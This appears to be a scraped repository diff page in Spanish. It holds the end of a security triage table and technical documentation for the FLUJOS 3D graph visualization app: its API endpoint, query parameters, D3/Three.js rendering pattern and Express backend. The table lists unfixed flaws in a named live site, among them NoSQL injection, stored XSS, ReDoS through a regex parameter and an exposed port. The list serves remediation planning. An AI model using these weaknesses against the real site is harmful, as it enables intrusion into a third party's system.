|
||||
| # | Vulnerabilidad | Impacto | Esfuerzo |
|
||||
|---|---|---|---|
|
||||
| 1 | NoSQL Injection | CRÍTICO | 10 min |
|
||||
| 2 | Puerto 3000 público | CRÍTICO | 1 línea |
|
||||
| 3 | XSS stored (innerHTML) | ALTO | 15 min |
|
||||
| 4 | ReDoS via palabraClave | ALTO | 10 min |
|
||||
| 5 | Rate limiting | ALTO | 15 min |
|
||||
| 6 | CSP unsafe-inline | MEDIO | 30 min |
|
||||
| 7 | Helmet completo | MEDIO | 5 min |
|
||||
231
INFO/DOCS/CONTEXT/VISUALIZACION_JS.md
Normal file
231
INFO/DOCS/CONTEXT/VISUALIZACION_JS.md
Normal file
|
|
@ -0,0 +1,231 @@
|
|||
# Visualización JavaScript — Contexto técnico FLUJOS
|
||||
**Fecha:** 2026-04-21
|
||||
**Directorio:** `FLUJOS/VISUALIZACION/public/`
|
||||
**Backend:** `FLUJOS/BACK_BACK/FLUJOS_APP.js`
|
||||
|
||||
---
|
||||
|
||||
## Arquitectura general
|
||||
|
||||
```
|
||||
theflows.net (nginx)
|
||||
├── / → archivos estáticos desde VISUALIZACION/public/
|
||||
└── /api/ → proxy a Node.js :3000
|
||||
└── GET /api/data?tema=...&nodos=...&complejidad=...
|
||||
└── MongoDB FLUJOS_DATOS
|
||||
```
|
||||
|
||||
El frontend es **vanilla JS sin framework**, todo en ficheros `.js` planos. Cada vista (`glob-war`, `int-sec`, `climate`, etc.) tiene su propio script de grafo 3D.
|
||||
|
||||
---
|
||||
|
||||
## Dependencias externas (CDN)
|
||||
|
||||
```html
|
||||
<!-- D3.js v6 — simulación de fuerzas -->
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/d3/6.7.0/d3.min.js"></script>
|
||||
|
||||
<!-- Three.js r168 — renderer WebGL, Sprite, TextureLoader -->
|
||||
<script src="https://unpkg.com/three@0.168/build/three.min.js"></script>
|
||||
|
||||
<!-- 3d-force-graph — wrapper de Three.js para grafos de fuerza 3D -->
|
||||
<script src="https://unpkg.com/3d-force-graph"></script>
|
||||
```
|
||||
|
||||
Three.js debe cargarse ANTES de 3d-force-graph o `THREE` no estará disponible globalmente cuando el grafo intente usarlo para los Sprite.
|
||||
|
||||
---
|
||||
|
||||
## API — Endpoint único
|
||||
|
||||
```
|
||||
GET /api/data
|
||||
```
|
||||
|
||||
Parámetros de query:
|
||||
|
||||
| Param | Tipo | Descripción |
|
||||
|---|---|---|
|
||||
| `tema` | string (obligatorio) | Tema principal de la consulta |
|
||||
| `subtematica` | string | Filtro por subtema |
|
||||
| `palabraClave` | string | Búsqueda `$regex` en campo `texto` |
|
||||
| `fechaInicio` | `YYYY-MM-DD` | Rango inicio |
|
||||
| `fechaFin` | `YYYY-MM-DD` | Rango fin |
|
||||
| `nodos` | int (máx. 500) | Límite de nodos de texto |
|
||||
| `complejidad` | float | Similitud mínima (%) para los enlaces |
|
||||
|
||||
**Respuesta:**
|
||||
```json
|
||||
{
|
||||
"nodes": [
|
||||
{ "id": "archivo.txt", "group": "subtema", "tema": "...", "content": "...", "fecha": "...", "type": "texto" },
|
||||
{ "id": "imagen.jpg", "group": "subtema", "tema": "...", "content": "...", "fecha": "...", "type": "imagen", "image_url": "/wiki-images/tema/img.jpg", "label": "subtema" }
|
||||
],
|
||||
"links": [
|
||||
{ "source": "archivo_A.txt", "target": "archivo_B.txt", "value": 23.45 }
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
El backend limita imágenes a `floor(nodosLimit / 3)` para no saturar el grafo.
|
||||
Prefiere `imagenes` (analizadas con Qwen) sobre `imagenes_wiki` (fallback scrapeado).
|
||||
|
||||
---
|
||||
|
||||
## Estructura de un script de grafo (patrón base)
|
||||
|
||||
Todos los scripts (`output_glob_war.js`, `output_int_sec.js`, etc.) siguen el mismo patrón:
|
||||
|
||||
```javascript
|
||||
document.addEventListener('DOMContentLoaded', () => {
|
||||
const elem = document.getElementById('contenedorContainer');
|
||||
|
||||
// 1. Inicializar grafo
|
||||
const graph = ForceGraph3D()(elem)
|
||||
.backgroundColor('#000000')
|
||||
.nodeLabel(node => node.type === 'imagen' ? (node.label || node.id) : node.id)
|
||||
.nodeAutoColorBy('group')
|
||||
.nodeVal(node => node.type === 'imagen' ? 0 : 2) // 0 = sin esfera para imágenes
|
||||
.linkColor(() => 'rgba(0,255,80,0.4)')
|
||||
.onNodeClick(node => showNodeContent(node.content))
|
||||
.onNodeHover(node => { elem.style.cursor = node ? 'pointer' : null; })
|
||||
.nodeThreeObject(node => { /* Sprite para imágenes */ })
|
||||
.nodeThreeObjectExtend(false)
|
||||
.forceEngine('d3')
|
||||
.d3Force('charge', d3.forceManyBody().strength(-10))
|
||||
.d3Force('link', d3.forceLink().distance(30).strength(1));
|
||||
|
||||
// 2. Fetch de datos
|
||||
async function getData(paramsObj = {}) { ... }
|
||||
|
||||
// 3. Renderizar
|
||||
async function fetchAndRender() { ... }
|
||||
|
||||
// 4. Evento del formulario
|
||||
document.getElementById('paramForm').addEventListener('submit', e => {
|
||||
e.preventDefault();
|
||||
fetchAndRender();
|
||||
});
|
||||
|
||||
// 5. Carga inicial
|
||||
fetchAndRender();
|
||||
});
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Nodos de imagen — THREE.Sprite
|
||||
|
||||
Los nodos de tipo `imagen` usan un Sprite de Three.js en lugar de la esfera por defecto:
|
||||
|
||||
```javascript
|
||||
const textureCache = {};
|
||||
|
||||
function getTexture(url) {
|
||||
if (!textureCache[url]) {
|
||||
textureCache[url] = new THREE.TextureLoader().load(url);
|
||||
}
|
||||
return textureCache[url];
|
||||
}
|
||||
|
||||
// En nodeThreeObject:
|
||||
.nodeThreeObject(node => {
|
||||
if (node.type !== 'imagen' || !node.image_url) return null;
|
||||
|
||||
const texture = getTexture(node.image_url);
|
||||
texture.colorSpace = THREE.SRGBColorSpace; // corrección de color
|
||||
|
||||
const material = new THREE.SpriteMaterial({ map: texture, depthWrite: false });
|
||||
const sprite = new THREE.Sprite(material);
|
||||
sprite.scale.set(14, 9, 1); // proporción 14:9 ≈ 16:9
|
||||
return sprite;
|
||||
})
|
||||
.nodeThreeObjectExtend(false) // false = reemplaza la esfera, no la extiende
|
||||
```
|
||||
|
||||
`getTexture` cachea las texturas para no recargar la misma imagen cada vez que el grafo se actualiza.
|
||||
|
||||
`depthWrite: false` evita artefactos de z-fighting entre sprites que se superponen.
|
||||
|
||||
---
|
||||
|
||||
## Archivos por vista
|
||||
|
||||
| Vista | HTML | Script |
|
||||
|---|---|---|
|
||||
| Index / Home | `index.html` | ninguno (estático) |
|
||||
| Glob-War | `glob-war.html` | `output_glob_war_pruebas.js` |
|
||||
| Int-Sec | `int-sec.html` | `output_int_sec.js` |
|
||||
| Climate | `climate.html` | `climate.js` / `output_climate_pruebas.js` |
|
||||
| Eco-Corp | `eco-corp.html` | `output_eco_corp_pruebas.js` |
|
||||
| Popl-Up | `popl-up.html` | `output_popl_up_pruebas.js` / `output_popl_up.js` |
|
||||
|
||||
Los ficheros `*_pruebas.js` son la versión en desarrollo activo (son los referenciados en los HTML). Los sin `_pruebas` son versiones anteriores o de referencia.
|
||||
|
||||
---
|
||||
|
||||
## Formulario de parámetros (sidebar)
|
||||
|
||||
```html
|
||||
<form id="paramForm">
|
||||
<input type="date" id="fecha_inicio">
|
||||
<input type="date" id="fecha_fin">
|
||||
<input type="number" id="nodos" value="100">
|
||||
<input type="range" id="complejidad" min="1" max="40" value="20">
|
||||
<input type="text" id="param1"> <!-- palabraClave -->
|
||||
<input type="color" id="color1"> <!-- sin uso en backend aún -->
|
||||
<input type="text" id="param2"> <!-- subtematica -->
|
||||
<input type="color" id="color2"> <!-- sin uso en backend aún -->
|
||||
<input type="submit" value="Aplicar">
|
||||
</form>
|
||||
```
|
||||
|
||||
`color1` y `color2` están en el HTML pero el backend los ignora. Están pendientes de implementar para colorear nodos por grupo.
|
||||
|
||||
---
|
||||
|
||||
## Filtrado client-side de enlaces
|
||||
|
||||
Además del filtro de `complejidad` en el backend (`porcentaje_similitud >= X`), el cliente aplica un segundo filtro eliminando enlaces cuyos nodos no existan en la respuesta:
|
||||
|
||||
```javascript
|
||||
const nodeIds = new Set(data.nodes.map(n => n.id));
|
||||
data.links = data.links.filter(l => nodeIds.has(l.source) && nodeIds.has(l.target));
|
||||
```
|
||||
|
||||
Esto previene errores de 3d-force-graph cuando llegan enlaces a nodos que no se devolvieron por el límite.
|
||||
|
||||
---
|
||||
|
||||
## Backend Node.js — FLUJOS_APP.js
|
||||
|
||||
**Archivo:** `FLUJOS/BACK_BACK/FLUJOS_APP.js`
|
||||
**Puerto:** 3000 (configurado en `.env`)
|
||||
**Proceso:** gestionado manualmente (falta configurar como systemd service)
|
||||
|
||||
Rutas:
|
||||
```
|
||||
GET / → glob-war.html (redirige a index.html)
|
||||
GET /api/data → endpoint de datos
|
||||
GET /wiki-images/* → estático desde IMAGENES/output/wiki_images/
|
||||
GET /* → archivos estáticos desde VISUALIZACION/public/
|
||||
```
|
||||
|
||||
La CSP actual (Helmet) permite `unsafe-inline` en scripts — pendiente de corregir (ver SEGURIDAD.md).
|
||||
|
||||
---
|
||||
|
||||
## Imágenes wiki — ruta física a URL
|
||||
|
||||
```
|
||||
Disco: /var/www/theflows.net/flujos/FLUJOS_DATOS/IMAGENES/output/wiki_images/{tema_slug}/{archivo}
|
||||
Express: app.use('/wiki-images', express.static('.../wiki_images'))
|
||||
URL: https://theflows.net/wiki-images/{tema_slug}/{archivo}
|
||||
```
|
||||
|
||||
El backend construye `image_url` en el API:
|
||||
```javascript
|
||||
const WIKI_IMAGES_BASE = '/var/www/theflows.net/flujos/FLUJOS_DATOS/IMAGENES/output/wiki_images/';
|
||||
const relativePath = result.image_path.replace(WIKI_IMAGES_BASE, '');
|
||||
image_url = `/wiki-images/${relativePath}`;
|
||||
```
|
||||
Loading…
Add table
Add a link
Reference in a new issue